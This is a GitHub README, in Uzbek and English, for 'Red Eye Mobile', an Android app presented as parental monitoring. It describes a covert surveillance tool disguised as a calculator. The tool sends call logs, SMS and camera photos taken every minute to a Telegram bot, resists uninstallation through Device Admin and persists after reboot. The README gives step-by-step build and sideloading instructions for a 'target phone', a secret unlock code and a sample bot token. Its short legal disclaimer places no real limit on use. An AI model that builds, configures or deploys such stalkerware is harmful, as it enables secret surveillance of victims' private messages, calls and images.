Skip to content

akhatkulov/Red-Eye-Mobile

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

1 Commit
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿ“ฑ Red Eye Mobile

Aqlli va yashirin bolalar telefonini nazorat qilish dasturi

License: MIT Platform Kotlin Telegram

Developer: Akhatkulov

English | O'zbek


๐Ÿ‡บ๐Ÿ‡ฟ O'ZBEKCHA

๐Ÿ“‹ Tavsif

Red Eye Mobile โ€” bu ota-onalar uchun maxsus yaratilgan Android nazorat dasturi bo'lib, u farzandingizning telefon faoliyatini Telegram orqali kuzatish imkonini beradi. Dastur "Kalkulator" qiyofasida ishlab, to'liq yashirin rejimda ishlaydi.

โœจ Asosiy Xususiyatlar

  • ๐Ÿ“ž Qo'ng'iroqlar Nazorati โ€” Barcha kiruvchi va chiquvchi qo'ng'iroqlar tarixi
  • ๐Ÿ’ฌ SMS Nazorati โ€” Kiruvchi va chiquvchi SMS xabarlar
  • ๐Ÿ“ธ Kamera Nazorati โ€” Har 1 daqiqada avtomatik rasm olish
  • ๐Ÿ”” Telegram Integratsiya โ€” Barcha ma'lumotlar Telegram botga yuboriladi
  • ๐Ÿงฎ Yashirin Rejim โ€” Dastur kalkulyator ko'rinishida
  • ๐Ÿ”’ Device Admin โ€” Oson o'chirilishdan himoya
  • ๐Ÿ”„ Avtomatik Ishga Tushish โ€” Telefon restart bo'lganda ham avtomatik ishlaydi
  • ๐ŸŒ Offline Rejim โ€” Internet bo'lmasa xabarlar navbatga qo'yiladi

๐Ÿ—๏ธ Texnologiyalar

๐Ÿ”น Kotlin โ€” Asosiy dasturlash tili
๐Ÿ”น Retrofit โ€” Telegram API bilan aloqa
๐Ÿ”น Coroutines โ€” Asinxron operatsiyalar
๐Ÿ”น WorkManager โ€” Background ishlar
๐Ÿ”น Camera2 API โ€” Rasm olish
๐Ÿ”น Foreground Service โ€” Doimiy monitoring
๐Ÿ”น Device Admin API โ€” Xavfsizlik

๐Ÿ“ฆ Tizim Talablari

  • Android OS: 8.0 (API 26) va yuqori
  • RAM: Minimal 2GB
  • Storage: 50MB bo'sh joy
  • Ruxsatlar: SMS, Qo'ng'iroqlar, Kamera, Storage

๐Ÿš€ O'rnatish

1๏ธโƒฃ Android SDK O'rnatish

# Ubuntu/Debian
sudo apt update
sudo apt install -y openjdk-17-jdk android-sdk

# macOS
brew install android-sdk
brew install openjdk@17

# Windows
# Android Studio'dan SDK Manager orqali o'rnatish

2๏ธโƒฃ SDK Path Sozlash

# Linux/macOS
echo "sdk.dir=$HOME/Android/Sdk" > local.properties

# Windows
echo "sdk.dir=C:\\Users\\YourUsername\\AppData\\Local\\Android\\Sdk" > local.properties

3๏ธโƒฃ Telegram Bot Yaratish

  1. Telegram'da @BotFatherga o'ting
  2. /newbot buyrug'ini yuboring
  3. Bot nomini kiriting
  4. Bot Tokenni saqlang (masalan: 5899601127:AAFejm1J07lWqpUaJbGSRa0A9xgwNgEYs1A)
  5. O'z Telegram ID'ingizni @userinfobotdan oling

4๏ธโƒฃ APK Build Qilish

# Linux/macOS
./builder.sh YOUR_BOT_TOKEN YOUR_CHAT_ID 5

# Windows
builder.bat YOUR_BOT_TOKEN YOUR_CHAT_ID 5

Misol:

./builder.sh 5899601127:AAFejm1J07lWqpUaJbGSRa0A9xgwNgEYs1A 6043795029 5

5๏ธโƒฃ APK O'rnatish

  1. output/parental-monitor-release.apk faylini telefonga ko'chiring
  2. Fayl menejerdan APK'ni oching
  3. "Unknown sources"ga ruxsat bering
  4. O'rnatishni tasdiqlang

๐Ÿ”ง Sozlash

Telefonda Birinchi Ishga Tushirish

  1. Kalkulator ikonkasini bosing
  2. Kalkulyatorda 1234= ni kiriting (maxfiy kod)
  3. Device Admin ruxsatini tasdiqlang
  4. Barcha kerakli ruxsatlarni bering:
    • ๐Ÿ“ž Telefon (qo'ng'iroqlar)
    • ๐Ÿ’ฌ SMS
    • ๐Ÿ“ธ Kamera
    • ๐Ÿ“ Storage
  5. Dastur avtomatik ishga tushadi

๐Ÿ“ฑ Foydalanish

Dastur o'rnatilgandan keyin:

  1. โœ… Avtomatik monitoring boshlanadi
  2. ๐Ÿ“Š Har 5 daqiqada (yoki siz sozlagan vaqtda) yangi ma'lumotlar yuboriladi
  3. ๐Ÿ“ธ Har 1 daqiqada oldingi va orqa kameradan rasm olinadi
  4. ๐Ÿ“ฑ Telegram botingizga barcha ma'lumotlar keladi
  5. ๐Ÿ”„ Telefon restart bo'lsa ham avtomatik ishga tushadi

๐ŸŽฏ Telegram'da Qabul Qilinadigan Ma'lumotlar

๐Ÿ“ž QOสปNGสปIROQ
Ism: John Doe
Raqam: +998901234567
Turi: Kiruvchi
Davomiyligi: 02:35
Sana: 19.10.2025 14:30

๐Ÿ’ฌ SMS
Kimdan: +998901234567
Xabar: Salom, qalaysan?
Sana: 19.10.2025 14:28

๐Ÿ“ธ RASM
19.10.2025 14:32
[JPEG rasm fayli]

๐Ÿ›ก๏ธ Xavfsizlik

  • โœ… Dastur faqat siz ko'rsatgan Telegram botga ma'lumot yuboradi
  • โœ… Hech qanday ma'lumot boshqa joyga saqlanmaydi
  • โœ… Device Admin himoyasi noto'g'ri o'chirishdan saqlaydi
  • โš ๏ธ MUHIM: APK ichida bot tokeningiz bor โ€” boshqalarga BERMANG!

โš™๏ธ Sozlamalar (builder.sh)

./builder.sh BOT_TOKEN CHAT_ID INTERVAL

BOT_TOKEN  โ€” Telegram bot tokeni
CHAT_ID    โ€” Sizning Telegram ID'ingiz
INTERVAL   โ€” Monitoring davomiyligi (daqiqalarda, default: 5)

๐Ÿ”ง Muammolarni Hal Qilish

Muammo Yechim
Dastur ishga tushmayapti Barcha ruxsatlar berilganini tekshiring
Telegram'ga xabar kelmayapti Bot token va Chat ID to'g'riligini tekshiring
Kamera ishlayapti Android 10+ da kamera faqat foreground'da ishlaydi
Dastur o'chib ketayapti Battery optimization'dan chiqaring
O'chirib bo'lmayapti Settings โ†’ Security โ†’ Device Admin โ†’ O'chirish

๐Ÿ“‚ Loyiha Strukturasi

red-eye-mobile/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ src/main/
โ”‚   โ”‚   โ”œโ”€โ”€ java/com/redeye/parentalmonitor/
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ data/              # Ma'lumotlar modellari
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ network/           # Telegram API
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ receiver/          # Broadcast receivers
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ repository/        # Ma'lumotlar repositoriyalari
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ service/           # Background servislar
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ ui/                # UI komponentlar
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ utils/             # Yordamchi sinflar
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ worker/            # WorkManager tasks
โ”‚   โ”‚   โ”œโ”€โ”€ res/                   # Resurslar (layout, drawable, etc)
โ”‚   โ”‚   โ””โ”€โ”€ AndroidManifest.xml    # App konfiguratsiyasi
โ”‚   โ””โ”€โ”€ build.gradle               # Build konfiguratsiyasi
โ”œโ”€โ”€ builder.sh                     # Build script (Linux/macOS)
โ”œโ”€โ”€ builder.bat                    # Build script (Windows)
โ”œโ”€โ”€ LICENSE                        # MIT License
โ””โ”€โ”€ README.md                      # Bu fayl

๐Ÿค Hissa Qo'shish

Pull request'lar xush kelibsiz! Katta o'zgarishlar uchun avval issue oching.

๐Ÿ“„ Litsenziya

Bu loyiha MIT License ostida tarqatiladi.

โš–๏ธ Qonuniy Ogohlantirish

โš ๏ธ MUHIM: Bu dastur faqat qonuniy ota-ona nazorati uchun mo'ljallangan.

  • โœ… Faqat o'z farzandingiz telefonida foydalaning
  • โœ… Mahalliy qonunlarga rioya qiling
  • โŒ Boshqa odamlarni izlash uchun ishlatmang
  • โŒ Shaxsiy hayotga kirish qonun buzilishidir

Dasturchi noto'g'ri foydalanish uchun javobgar emas.

๐Ÿ“ž Bog'lanish

๐ŸŽ‰ Minnatdorchilik


๐Ÿ‡ฌ๐Ÿ‡ง ENGLISH

๐Ÿ“‹ Description

Red Eye Mobile is a specialized Android parental monitoring application that allows parents to track their child's phone activity via Telegram. The app operates in complete stealth mode, disguised as a "Calculator" app.

โœจ Key Features

  • ๐Ÿ“ž Call Monitoring โ€” Track all incoming and outgoing calls
  • ๐Ÿ’ฌ SMS Monitoring โ€” Monitor incoming and outgoing text messages
  • ๐Ÿ“ธ Camera Monitoring โ€” Automatic photo capture every 1 minute
  • ๐Ÿ”” Telegram Integration โ€” All data sent to your Telegram bot
  • ๐Ÿงฎ Stealth Mode โ€” App appears as a calculator
  • ๐Ÿ”’ Device Admin โ€” Protection against easy removal
  • ๐Ÿ”„ Auto-start โ€” Automatically starts after phone reboot
  • ๐ŸŒ Offline Mode โ€” Messages queued when offline

๐Ÿ—๏ธ Technology Stack

๐Ÿ”น Kotlin โ€” Primary language
๐Ÿ”น Retrofit โ€” Telegram API communication
๐Ÿ”น Coroutines โ€” Asynchronous operations
๐Ÿ”น WorkManager โ€” Background tasks
๐Ÿ”น Camera2 API โ€” Photo capture
๐Ÿ”น Foreground Service โ€” Continuous monitoring
๐Ÿ”น Device Admin API โ€” Security

๐Ÿ“ฆ System Requirements

  • Android OS: 8.0 (API 26) or higher
  • RAM: Minimum 2GB
  • Storage: 50MB free space
  • Permissions: SMS, Phone, Camera, Storage

๐Ÿš€ Installation

1๏ธโƒฃ Install Android SDK

# Ubuntu/Debian
sudo apt update
sudo apt install -y openjdk-17-jdk android-sdk

# macOS
brew install android-sdk
brew install openjdk@17

# Windows
# Install via SDK Manager in Android Studio

2๏ธโƒฃ Configure SDK Path

# Linux/macOS
echo "sdk.dir=$HOME/Android/Sdk" > local.properties

# Windows
echo "sdk.dir=C:\\Users\\YourUsername\\AppData\\Local\\Android\\Sdk" > local.properties

3๏ธโƒฃ Create Telegram Bot

  1. Go to @BotFather on Telegram
  2. Send /newbot command
  3. Enter bot name
  4. Save the Bot Token (e.g., 5899601127:AAFejm1J07lWqpUaJbGSRa0A9xgwNgEYs1A)
  5. Get your Telegram ID from @userinfobot

4๏ธโƒฃ Build APK

# Linux/macOS
./builder.sh YOUR_BOT_TOKEN YOUR_CHAT_ID 5

# Windows
builder.bat YOUR_BOT_TOKEN YOUR_CHAT_ID 5

Example:

./builder.sh 5899601127:AAFejm1J07lWqpUaJbGSRa0A9xgwNgEYs1A 6043795029 5

5๏ธโƒฃ Install APK

  1. Copy output/parental-monitor-release.apk to target phone
  2. Open APK from file manager
  3. Allow "Unknown sources"
  4. Confirm installation

๐Ÿ”ง Configuration

First Launch on Phone

  1. Tap the Calculator icon
  2. Enter 1234= on calculator (secret code)
  3. Confirm Device Admin permission
  4. Grant all required permissions:
    • ๐Ÿ“ž Phone (calls)
    • ๐Ÿ’ฌ SMS
    • ๐Ÿ“ธ Camera
    • ๐Ÿ“ Storage
  5. App will start automatically

๐Ÿ“ฑ Usage

After installation:

  1. โœ… Monitoring starts automatically
  2. ๐Ÿ“Š Every 5 minutes (or your configured interval) new data is sent
  3. ๐Ÿ“ธ Every 1 minute photos are captured from front and back cameras
  4. ๐Ÿ“ฑ Data sent to your Telegram bot
  5. ๐Ÿ”„ Auto-restarts after phone reboot

๐ŸŽฏ Data Received in Telegram

๐Ÿ“ž CALL
Name: John Doe
Number: +998901234567
Type: Incoming
Duration: 02:35
Date: 19.10.2025 14:30

๐Ÿ’ฌ SMS
From: +998901234567
Message: Hello, how are you?
Date: 19.10.2025 14:28

๐Ÿ“ธ PHOTO
19.10.2025 14:32
[JPEG image file]

๐Ÿ›ก๏ธ Security

  • โœ… App only sends data to your specified Telegram bot
  • โœ… No data is stored elsewhere
  • โœ… Device Admin protection prevents easy removal
  • โš ๏ธ IMPORTANT: APK contains your bot token โ€” DO NOT SHARE WITH OTHERS!

โš™๏ธ Configuration (builder.sh)

./builder.sh BOT_TOKEN CHAT_ID INTERVAL

BOT_TOKEN  โ€” Telegram bot token
CHAT_ID    โ€” Your Telegram ID
INTERVAL   โ€” Monitoring interval (in minutes, default: 5)

๐Ÿ”ง Troubleshooting

Issue Solution
App not starting Verify all permissions are granted
No messages in Telegram Check bot token and Chat ID
Camera not working On Android 10+, camera only works in foreground
App keeps stopping Disable battery optimization
Can't uninstall Settings โ†’ Security โ†’ Device Admin โ†’ Deactivate

๐Ÿ“‚ Project Structure

red-eye-mobile/
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ src/main/
โ”‚   โ”‚   โ”œโ”€โ”€ java/com/redeye/parentalmonitor/
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ data/              # Data models
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ network/           # Telegram API
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ receiver/          # Broadcast receivers
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ repository/        # Data repositories
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ service/           # Background services
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ ui/                # UI components
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ utils/             # Utility classes
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ worker/            # WorkManager tasks
โ”‚   โ”‚   โ”œโ”€โ”€ res/                   # Resources (layout, drawable, etc)
โ”‚   โ”‚   โ””โ”€โ”€ AndroidManifest.xml    # App configuration
โ”‚   โ””โ”€โ”€ build.gradle               # Build configuration
โ”œโ”€โ”€ builder.sh                     # Build script (Linux/macOS)
โ”œโ”€โ”€ builder.bat                    # Build script (Windows)
โ”œโ”€โ”€ LICENSE                        # MIT License
โ””โ”€โ”€ README.md                      # This file

๐Ÿค Contributing

Pull requests are welcome! For major changes, please open an issue first.

๐Ÿ“„ License

This project is licensed under the MIT License.

โš–๏ธ Legal Disclaimer

โš ๏ธ IMPORTANT: This software is intended for legal parental monitoring purposes only.

  • โœ… Use only on your own child's phone
  • โœ… Comply with local laws
  • โŒ Do not use to spy on others
  • โŒ Invasion of privacy is illegal

The developer is not responsible for misuse.

๐Ÿ“ž Contact

๐ŸŽ‰ Acknowledgments


Made with โค๏ธ by Akhatkulov

Red Eye Mobile ยฉ 2025